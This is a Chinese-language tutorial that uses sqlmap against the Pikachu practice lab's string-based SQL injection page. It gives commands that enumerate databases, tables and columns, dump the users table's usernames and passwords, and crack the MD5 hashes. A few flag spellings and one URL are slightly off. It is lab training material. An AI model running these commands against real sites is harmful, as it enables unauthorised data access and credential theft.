这边来详细写一篇SQLmap工具的使用方法,这边借用了pikachu里sql注入类的字符形注入
首先sql注入肯定要先找注入点在哪里,我们在输入栏里输入admin试试
看到有向后台查询的get请求,然后直接放到sqlmap里试一下
sqlmap -u "http://172.16.107.243/pikachu/vul/sqli/sqli_str.phpname=admin&submit=%E6%9F%A5%E8%AF%A2"
注意:-u后面的URL链接一定要加双引号,不加的话有时候get请求里会有(&)这个符号不加双引号的URL链接有这个符号就会报错
如果URL正确的话他会出现很多如下图的选项,这些可以按需要选择,如果看不懂的话可以全都输入y,然后按回车就可以了
如果出现下图这些信息,那么恭喜你该网站存在sql注入漏洞,就可以进行下一步操作,如果提示报错的话,可以看情况修改URL,或者该网站不存在sql 注入漏洞
经过上一步可以看出来,改网站存在sql注入漏洞,那么可以进行下一步,查询数据库了
sqlmap -u "http://172.16.107.243/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2" -dbs
-bds的意思就是查询该网站后台所有数据库
然后就出来了改后台所有的数据库,我们对pikachu这个库进行下一步,查看该数据库里所有的表
sqlmap -u "http://172.16.107.243/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -tables
-D的意思就是指定查询改数据库,-tables的意思就是查询该数据库内所有的表
查询出改表内有五个表,我们对敏感表users进行下一步,查询表内字段
sqlmap -u "http://172.16.107.243/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -columns
-T的意思是指定指定某数据的表,-columns是列出该表所有的字段名
我们进行对敏感信息,username,password进行下一步查询
sqlmap -u "http://172.16.107.243/pikachu/vul/sqli/sqli_str.php?name=admin&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password -dump
-C是指定字段,-dump是列出这段内信息
这里就看到账号密码了,sql数据库默认是对密码MD5加密的,sqlmap有个功能可以把列出来的密码自动解密,如下图,这个选项选了yes的话就会对密码解密
如果对sqlmap这个工具有其他需求的话,可以使用sqlmap -help,来查看他其他命令选项。